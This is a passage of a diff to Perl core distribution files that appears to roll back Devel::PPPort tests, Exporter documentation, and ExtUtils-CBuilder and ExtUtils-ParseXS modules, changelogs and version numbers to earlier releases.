"\xE1\n"; -ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n"; - -ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /; - -ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /; - -ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /; - -ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /; -ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /; - -if ($] ge '5.006') { - BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } } - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") }; - ok $@, "\x{100}\n"; - if ($] ne '5.008') { - ok $die, "\x{100}\n"; - } else { - skip 'skip: broken utf8 support in die hook', 0; - } - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv("\x{100}") }; - ok $@ =~ /^\x{100} at $0 line /; - if ($] ne '5.008') { - ok $die =~ /^\x{100} at $0 line /; - } else { - skip 'skip: broken utf8 support in die hook', 0; - } - - if ($] ne '5.008') { - undef $warn; - Devel::PPPort::warn_sv("\x{100}\n"); - ok $warn, "\x{100}\n"; - - undef $warn; - Devel::PPPort::warn_sv("\x{100}"); - ok (my $tmp = $warn) =~ /^\x{100} at $0 line /; - } else { - skip 'skip: broken utf8 support in warn hook', 0 for 1..2; - } - - ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n"; - ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n"; - - ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /; - ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /; -} else { - skip 'skip: no utf8 support', 0 for 1..12; -} - -if (ord('A') != 65) { - skip 'skip: no ASCII support', 0 for 1..24; -} elsif ($] ge '5.008' && $] ne '5.012000') { - undef $die; - ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') }; - ok $@, "\xE1\n"; - ok $die, "\xE1\n"; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') }; - ok $@ =~ /^\xE1 at $0 line /; - ok $die =~ /^\xE1 at $0 line /; - - { - undef $die; - my $expect = eval '"\N{U+C3}\N{U+A1}\n"'; - ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") }; - ok $@, $expect; - ok $die, $expect; - } - - { - undef $die; - my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; - ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") }; - ok $@ =~ $expect; - ok $die =~ $expect; - } - - undef $warn; - Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"'); - ok $warn, "\xE1\n"; - - undef $warn; - Devel::PPPort::warn_sv(eval '"\N{U+E1}"'); - ok $warn =~ /^\xE1 at $0 line /; - - undef $warn; - Devel::PPPort::warn_sv("\xC3\xA1\n"); - ok $warn, eval '"\N{U+C3}\N{U+A1}\n"'; - - undef $warn; - Devel::PPPort::warn_sv("\xC3\xA1"); - ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; - - ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"'; - ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"'; - - ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /'; - ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /'; - - ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"'; - ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"'; - - ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; - ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /'; -} else { - skip 'skip: no support for \N{U+..} syntax', 0 for 1..24; -} - -if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) { - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) }; - ok $@ == $scalar_ref; - ok $die == $scalar_ref; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($array_ref) }; - ok $@ == $array_ref; - ok $die == $array_ref; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($hash_ref) }; - ok $@ == $hash_ref; - ok $die == $hash_ref; - - undef $die; - ok !defined eval { Devel::PPPort::croak_sv($obj) }; - ok $@ == $obj; - ok $die == $obj; -} else { - skip 'skip: no support for exceptions', 0 for 1..12; -} - -ok !defined eval { Devel::PPPort::croak_no_modify() }; -ok $@ =~ /^Modification of a read-only value attempted at $0 line /; - -ok !defined eval { Devel::PPPort::croak_memory_wrap() }; -ok $@ =~ /^panic: memory wrap at $0 line /; - -ok !defined eval { Devel::PPPort::croak_xs_usage("params") }; -ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /; - diff --git a/dist/Devel-PPPort/t/ppphtest.t b/dist/Devel-PPPort/t/ppphtest.t index 90d7d24ab828..45840f9fc77f 100644 --- a/dist/Devel-PPPort/t/ppphtest.t +++ b/dist/Devel-PPPort/t/ppphtest.t @@ -560,7 +560,6 @@ call_pv(); #define NEED_eval_pv_GLOBAL #define NEED_grok_hex #define NEED_newCONSTSUB_GLOBAL -#define NEED_sv_2pv_flags_GLOBAL #include "ppport.h" newCONSTSUB(); diff --git a/dist/Devel-PPPort/t/pv_tools.t b/dist/Devel-PPPort/t/pv_tools.t index c4e54809578d..e53beed0a0ec 100644 --- a/dist/Devel-PPPort/t/pv_tools.t +++ b/dist/Devel-PPPort/t/pv_tools.t @@ -61,11 +61,9 @@ ok($r[0], "foobarbaz"); ok($r[2], $r[3]); ok($r[2], ''); ok($r[4], $r[5]); -skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0, - $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303'); +ok($r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303'); ok($r[6], $r[7]); -skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0, - $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...'); +ok($r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...'); @r = &Devel::PPPort::pv_display(); ok($r[0], $r[1]); diff --git a/dist/Dumpvalue/t/Dumpvalue.t b/dist/Dumpvalue/t/Dumpvalue.t index 7063dd984c82..64cf52ee0d93 100644 --- a/dist/Dumpvalue/t/Dumpvalue.t +++ b/dist/Dumpvalue/t/Dumpvalue.t @@ -14,7 +14,7 @@ BEGIN { $^W = 0; } -our ( $foo, @bar, %baz ); +use vars qw( $foo @bar %baz ); use Test::More tests => 88; diff --git a/dist/Exporter/lib/Exporter.pm b/dist/Exporter/lib/Exporter.pm index 0e8775db2545..0b3db2159f45 100644 --- a/dist/Exporter/lib/Exporter.pm +++ b/dist/Exporter/lib/Exporter.pm @@ -9,7 +9,7 @@ require 5.006; our $Debug = 0; our $ExportLevel = 0; our $Verbose ||= 0; -our $VERSION = '5.73'; +our $VERSION = '5.72'; our (%Cache); sub as_heavy { @@ -106,14 +106,14 @@ In module F: package YourModule; require Exporter; - our @ISA = qw(Exporter); - our @EXPORT_OK = qw(munge frobnicate); # symbols to export on request + @ISA = qw(Exporter); + @EXPORT_OK = qw(munge frobnicate); # symbols to export on request or package YourModule; use Exporter 'import'; # gives you Exporter's import() method directly - our @EXPORT_OK = qw(munge frobnicate); # symbols to export on request + @EXPORT_OK = qw(munge frobnicate); # symbols to export on request In other files which wish to use C: @@ -146,8 +146,8 @@ symbols can represent functions, scalars, arrays, hashes, or typeglobs. The symbols must be given by full name with the exception that the ampersand in front of a function is optional, e.g. - our @EXPORT = qw(afunc $scalar @array); # afunc is a function - our @EXPORT_OK = qw(&bfunc %hash *typeglob); # explicit prefix on &bfunc + @EXPORT = qw(afunc $scalar @array); # afunc is a function + @EXPORT_OK = qw(&bfunc %hash *typeglob); # explicit prefix on &bfunc If you are only exporting function names it is recommended to omit the ampersand, as the implementation is faster this way. @@ -234,9 +234,9 @@ include :DEFAULT explicitly. e.g., F defines: - our @EXPORT = qw(A1 A2 A3 A4 A5); - our @EXPORT_OK = qw(B1 B2 B3 B4 B5); - our %EXPORT_TAGS = (T1 => [qw(A1 A2 B1 B2)], T2 => [qw(A1 A2 B3 B4)]); + @EXPORT = qw(A1 A2 A3 A4 A5); + @EXPORT_OK = qw(B1 B2 B3 B4 B5); + %EXPORT_TAGS = (T1 => [qw(A1 A2 B1 B2)], T2 => [qw(A1 A2 B3 B4)]); Note that you cannot use tags in @EXPORT or @EXPORT_OK. @@ -279,8 +279,8 @@ import function: package A; - our @ISA = qw(Exporter); - our @EXPORT_OK = qw($b); + @ISA = qw(Exporter); + @EXPORT_OK = qw($b); sub import { @@ -293,8 +293,8 @@ inheritance, as it stands Exporter::import() will never get called. Instead, say the following: package A; - our @ISA = qw(Exporter); - our @EXPORT_OK = qw($b); + @ISA = qw(Exporter); + @EXPORT_OK = qw($b); sub import { @@ -374,7 +374,7 @@ Since the symbols listed within C<%EXPORT_TAGS> must also appear in either C<@EXPORT> or C<@EXPORT_OK>, two utility functions are provided which allow you to easily add tagged sets of symbols to C<@EXPORT> or C<@EXPORT_OK>: - our %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]); + %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]); Exporter::export_tags('foo'); # add aa, bb and cc to @EXPORT Exporter::export_ok_tags('bar'); # add aa, cc and dd to @EXPORT_OK @@ -391,7 +391,7 @@ useful to create the utility ":all" to simplify "use" statements. The simplest way to do this is: - our %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]); + %EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]); # add all the other ":class" tags to the ":all" class, # deleting duplicates @@ -460,7 +460,7 @@ variables C<@EXPORT_OK>, C<@EXPORT>, C<@ISA>, etc. our @ISA = qw(Exporter); our @EXPORT_OK = qw(munge frobnicate); -If backward compatibility for Perls B 5.6 is important, +If backward compatibility for Perls under 5.6 is important, one must write instead a C statement. use vars qw(@ISA @EXPORT_OK); diff --git a/dist/ExtUtils-CBuilder/Changes b/dist/ExtUtils-CBuilder/Changes index aa146d9c5260..aaebade13bf4 100644 --- a/dist/ExtUtils-CBuilder/Changes +++ b/dist/ExtUtils-CBuilder/Changes @@ -1,37 +1,5 @@ Revision history for Perl extension ExtUtils::CBuilder. -0.280230 - 2017-11-22 - - Fixed: - - - Updated Changes - - Used OurPkgVersion instead of PkgVersion - -0.280229 - 2017-10-13 - - Fixed: - - - Remove dependency to 'vars' package. - -0.280228 - 2017-07-20 - - Fixed: - - - Fix link() on Windows, broken in version 0.280226. - -0.280227 - 2017-07-19 - - Fixed: - - - Restore compatibility of test suite to Perl 5.6. - -0.280226 - 2017-07-14 - - Fixed: - - - Fix C++ compiler detection (RT #131749) - (thanks to stphnlyd) - 0.280225 - 2016-01-04 Fixed: @@ -40,7 +8,7 @@ Revision history for Perl extension ExtUtils::CBuilder. 0.280224 - 2015-10-09 - Enhancements: + Enhncements: - Use warnings/strict on all modules. diff --git a/dist/ExtUtils-CBuilder/LICENSE b/dist/ExtUtils-CBuilder/LICENSE index 6171f8bbe8a9..97b386c5f215 100644 --- a/dist/ExtUtils-CBuilder/LICENSE +++ b/dist/ExtUtils-CBuilder/LICENSE @@ -1,4 +1,4 @@ -This software is copyright (c) 2017 by Ken Williams. +This software is copyright (c) 2015 by Ken Williams. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. @@ -12,7 +12,7 @@ b) the "Artistic License" --- The GNU General Public License, Version 1, February 1989 --- -This software is Copyright (c) 2017 by Ken Williams. +This software is Copyright (c) 2015 by Ken Williams. This is free software, licensed under: @@ -272,7 +272,7 @@ That's all there is to it! --- The Artistic License 1.0 --- -This software is Copyright (c) 2017 by Ken Williams. +This software is Copyright (c) 2015 by Ken Williams. This is free software, licensed under: diff --git a/dist/ExtUtils-CBuilder/Makefile.PL b/dist/ExtUtils-CBuilder/Makefile.PL index bc1ce75dd091..44cb33ad44b1 100644 --- a/dist/ExtUtils-CBuilder/Makefile.PL +++ b/dist/ExtUtils-CBuilder/Makefile.PL @@ -1,4 +1,4 @@ -# This file was automatically generated by Dist::Zilla::Plugin::MakeMaker v6.010. +# This file was automatically generated by Dist::Zilla::Plugin::MakeMaker v5.039. use strict; use warnings; @@ -29,7 +29,7 @@ my %WriteMakefileArgs = ( "TEST_REQUIRES" => { "Test::More" => "0.47" }, - "VERSION" => "0.280228", + "VERSION" => "0.280225", "test" => { "TESTS" => "t/*.t" } @@ -60,6 +60,6 @@ delete $WriteMakefileArgs{CONFIGURE_REQUIRES} unless eval { ExtUtils::MakeMaker->VERSION(6.52) }; $WriteMakefileArgs{INSTALLDIRS} = 'perl' - if "$]" >= 5.009003 && "$]" <= 5.011000; + if $] >= 5.009003 && $] <= 5.011000; WriteMakefile(%WriteMakefileArgs); diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm index 8d1a0d4915ae..6ce0c687943d 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm @@ -1,5 +1,5 @@ package ExtUtils::CBuilder; - +$ExtUtils::CBuilder::VERSION = '0.280225'; use File::Spec (); use File::Path (); use File::Basename (); @@ -7,8 +7,7 @@ use Perl::OSType qw/os_type/; use warnings; use strict; -our $VERSION = '0.280230'; # VERSION -our @ISA; +use vars qw(@ISA); # We only use this once - don't waste a symbol table entry on it. # More importantly, don't make it an inheritable method. diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm index 9f8427f6de2d..60b2f432dfb8 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm @@ -1,4 +1,5 @@ package ExtUtils::CBuilder::Base; +$ExtUtils::CBuilder::Base::VERSION = '0.280225'; use strict; use warnings; use File::Spec; @@ -9,8 +10,6 @@ use Text::ParseWords; use IPC::Cmd qw(can_run); use File::Temp qw(tempfile); -our $VERSION = '0.280230'; # VERSION - # More details about C/C++ compilers: # http://developers.sun.com/sunstudio/documentation/product/compiler.jsp # http://gcc.gnu.org/ @@ -46,26 +45,16 @@ sub new { if defined $ENV{LDFLAGS}; unless ( exists $self->{config}{cxx} ) { - - my ($ccbase, $ccpath, $ccsfx ) = fileparse($self->{config}{cc}, qr/\.[^.]*/); - - ## If the path is just "cc", fileparse returns $ccpath as "./" - $ccpath = "" if $self->{config}{cc} =~ /^$ccbase$ccsfx$/; - + my ($ccpath, $ccbase, $ccsfx ) = fileparse($self->{config}{cc}, qr/\.[^.]*/); foreach my $cxx (@{$cc2cxx{$ccbase}}) { - my $cxx1 = File::Spec->catfile( $ccpath, $cxx . $ccsfx); - - if( can_run( $cxx1 ) ) { - $self->{config}{cxx} = $cxx1; + if( can_run( File::Spec->catfile( $ccpath, $cxx, $ccsfx ) ) ) { + $self->{config}{cxx} = File::Spec->catfile( $ccpath, $cxx, $ccsfx ); last; } - my $cxx2 = $cxx . $ccsfx; - - if( can_run( $cxx2 ) ) { - $self->{config}{cxx} = $cxx2; + if( can_run( File::Spec->catfile( $cxx, $ccsfx ) ) ) { + $self->{config}{cxx} = File::Spec->catfile( $cxx, $ccsfx ); last; } - if( can_run( $cxx ) ) { $self->{config}{cxx} = $cxx; last; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm index 655235ebdcf1..399e254aa0c4 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm @@ -1,11 +1,11 @@ package ExtUtils::CBuilder::Platform::Unix; - +$ExtUtils::CBuilder::Platform::Unix::VERSION = '0.280225'; use warnings; use strict; use ExtUtils::CBuilder::Base; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Base); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Base); sub link_executable { my $self = shift; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm index 020c01eb6a58..e9d9f6fc2fd7 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm @@ -1,11 +1,11 @@ package ExtUtils::CBuilder::Platform::VMS; - +$ExtUtils::CBuilder::Platform::VMS::VERSION = '0.280225'; use warnings; use strict; use ExtUtils::CBuilder::Base; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Base); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Base); use File::Spec::Functions qw(catfile catdir); use Config; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm index 8263b954abfe..80b8f29cd2d9 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm @@ -1,4 +1,5 @@ package ExtUtils::CBuilder::Platform::Windows; +$ExtUtils::CBuilder::Platform::Windows::VERSION = '0.280225'; use strict; use warnings; @@ -8,8 +9,8 @@ use File::Spec; use ExtUtils::CBuilder::Base; use IO::File; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Base); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Base); =begin comment @@ -150,7 +151,7 @@ sub link { # if running in perl source tree, look for libs there, not installed my $lddlflags = $cf->{lddlflags}; my $perl_src = $self->perl_src(); - $lddlflags =~ s{\Q$cf->{archlibexp}\E[\\/]CORE}{$perl_src/lib/CORE} if $perl_src; + $lddlflags =~ s/\Q$cf->{archlibexp}\E[\\\/]CORE/$perl_src\/lib\/CORE/ if $perl_src; my %spec = ( srcdir => $to, diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm index 93f47d795882..513c4acaeea5 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm @@ -1,7 +1,5 @@ package ExtUtils::CBuilder::Platform::Windows::BCC; - -our $VERSION = '0.280230'; # VERSION - +$ExtUtils::CBuilder::Platform::Windows::BCC::VERSION = '0.280225'; use strict; use warnings; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm index 144e31ad80f9..19851df352e9 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm @@ -1,7 +1,5 @@ package ExtUtils::CBuilder::Platform::Windows::GCC; - -our $VERSION = '0.280230'; # VERSION - +$ExtUtils::CBuilder::Platform::Windows::GCC::VERSION = '0.280225'; use warnings; use strict; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm index c238979fb632..c8d675f49789 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm @@ -1,7 +1,5 @@ package ExtUtils::CBuilder::Platform::Windows::MSVC; - -our $VERSION = '0.280230'; # VERSION - +$ExtUtils::CBuilder::Platform::Windows::MSVC::VERSION = '0.280225'; use warnings; use strict; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm index 0d96613b4318..488d3e68bc94 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm @@ -1,12 +1,12 @@ package ExtUtils::CBuilder::Platform::aix; - +$ExtUtils::CBuilder::Platform::aix::VERSION = '0.280225'; use warnings; use strict; use ExtUtils::CBuilder::Platform::Unix; use File::Spec; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Platform::Unix); sub need_prelink { 1 } diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm index 7d14706a003f..b9e6af3129c4 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm @@ -1,13 +1,13 @@ package ExtUtils::CBuilder::Platform::android; - +$ExtUtils::CBuilder::Platform::android::VERSION = '0.280225'; use warnings; use strict; use File::Spec; use ExtUtils::CBuilder::Platform::Unix; use Config; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Platform::Unix); # The Android linker will not recognize symbols from # libperl unless the module explicitly depends on it. diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm index a5881af645b7..339840f8c19d 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm @@ -1,12 +1,12 @@ package ExtUtils::CBuilder::Platform::cygwin; - +$ExtUtils::CBuilder::Platform::cygwin::VERSION = '0.280225'; use warnings; use strict; use File::Spec; use ExtUtils::CBuilder::Platform::Unix; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Platform::Unix); # TODO: If a specific exe_file name is requested, if the exe created # doesn't have that name, we might want to rename it. Apparently asking diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm index 82e7f2afec18..04a87da3311d 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm @@ -1,11 +1,11 @@ package ExtUtils::CBuilder::Platform::darwin; - +$ExtUtils::CBuilder::Platform::darwin::VERSION = '0.280225'; use warnings; use strict; use ExtUtils::CBuilder::Platform::Unix; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Platform::Unix); sub compile { my $self = shift; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm index 50efc9143a69..d503e8614bf7 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm @@ -1,12 +1,12 @@ package ExtUtils::CBuilder::Platform::dec_osf; - +$ExtUtils::CBuilder::Platform::dec_osf::VERSION = '0.280225'; use warnings; use strict; use ExtUtils::CBuilder::Platform::Unix; use File::Spec; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Platform::Unix); sub link_executable { my $self = shift; diff --git a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm index b12f35d2aa23..8d0e3eb0dc2f 100644 --- a/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm +++ b/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm @@ -1,11 +1,11 @@ package ExtUtils::CBuilder::Platform::os2; - +$ExtUtils::CBuilder::Platform::os2::VERSION = '0.280225'; use warnings; use strict; use ExtUtils::CBuilder::Platform::Unix; -our $VERSION = '0.280230'; # VERSION -our @ISA = qw(ExtUtils::CBuilder::Platform::Unix); +use vars qw(@ISA); +@ISA = qw(ExtUtils::CBuilder::Platform::Unix); sub need_prelink { 1 } diff --git a/dist/ExtUtils-CBuilder/t/00-have-compiler.t b/dist/ExtUtils-CBuilder/t/00-have-compiler.t index e4706a0e74b6..1073277fd194 100644 --- a/dist/ExtUtils-CBuilder/t/00-have-compiler.t +++ b/dist/ExtUtils-CBuilder/t/00-have-compiler.t @@ -33,13 +33,13 @@ ok( $b, "got CBuilder object" ) or diag $@; # This will fork a child that will print # 'Can't exec "djaadjfkadjkfajdf"' - # or similar on STDERR; so make sure fd2 is temporarily redirected to - # oblivion before the fork - open(OLDERR, ">&STDERR") or die "Can't dup STDERR: $!"; - open(STDERR, ">", File::Spec->devnull()) or die "Can't redirect STDERR: $!"; + # or similar on STDERR; so make sure fd2 is temporarily closed before + # the fork + open(my $orig_err, ">&", \*STDERR) or die "Can't dup STDERR: $!"; + close(STDERR); my $res = $b1->have_compiler; - open(STDERR, ">&OLDERR") or die "Can't restore STDERR: $!"; - close(OLDERR); + open(STDERR, ">&", $orig_err) or die "Can't dup \$orig_err $!"; + close($orig_err); is($res, 0, "have_compiler: fake missing cc" ); } @@ -47,11 +47,11 @@ ok( $b, "got CBuilder object" ) or diag $@; my $b2 = ExtUtils::CBuilder->new(quiet => 1); configure_fake_missing_compilers($b2); - open(OLDERR, ">&STDERR") or die "Can't dup STDERR: $!"; - open(STDERR, ">", File::Spec->devnull()) or die "Can't redirect STDERR: $!"; + open(my $orig_err, ">&", \*STDERR) or die "Can't dup STDERR: $!"; + close(STDERR); my $res = $b2->have_cplusplus; - open(STDERR, ">&OLDERR") or die "Can't restore STDERR: $!"; - close(OLDERR); + open(STDERR, ">&", $orig_err) or die "Can't dup \$orig_err $!"; + close($orig_err); is($res, 0, "have_cplusplus: fake missing c++" ); } diff --git a/dist/ExtUtils-CBuilder/t/01-basic.t b/dist/ExtUtils-CBuilder/t/01-basic.t index d6b75e9d0bcd..3db8581db6ef 100644 --- a/dist/ExtUtils-CBuilder/t/01-basic.t +++ b/dist/ExtUtils-CBuilder/t/01-basic.t @@ -75,7 +75,8 @@ SKIP: { # include_dirs should be settable as string or list { package Sub; - our @ISA = ('ExtUtils::CBuilder'); + use vars '@ISA'; + @ISA = ('ExtUtils::CBuilder'); my $saw = 0; sub do_system { if ($^O eq "MSWin32") { diff --git a/dist/ExtUtils-ParseXS/Changes b/dist/ExtUtils-ParseXS/Changes index f9fb36eed16f..108b6fa51caf 100644 --- a/dist/ExtUtils-ParseXS/Changes +++ b/dist/ExtUtils-ParseXS/Changes @@ -1,20 +1,5 @@ Revision history for Perl extension ExtUtils::ParseXS. -3.36 - - Make generated code avoid warnings about the "items" variable - being unused - - Avoid some unused-variable warnings generated by XS code in the - test suite - -3.35 - Mon Jul 31 17:50:00 CET 2017 - - Fix ExtUtils-ParseXS/t/*.t that needed '.' in @INC (David Mitchell) - - Remove impediment to compiling under C++11 (Karl Williamson) - - Make build reproducinle (Chris Lamb) - - (perl #127834) remove . from the end of @INC if complex modules - are loaded (Tony Cook) - - Replace :: with __ in THIS like it's done for parameters/return - values (Mattia Barbon) - 3.30 - Mon Aug 31 10:35:00 CET 2015 - Promote to stable CPAN 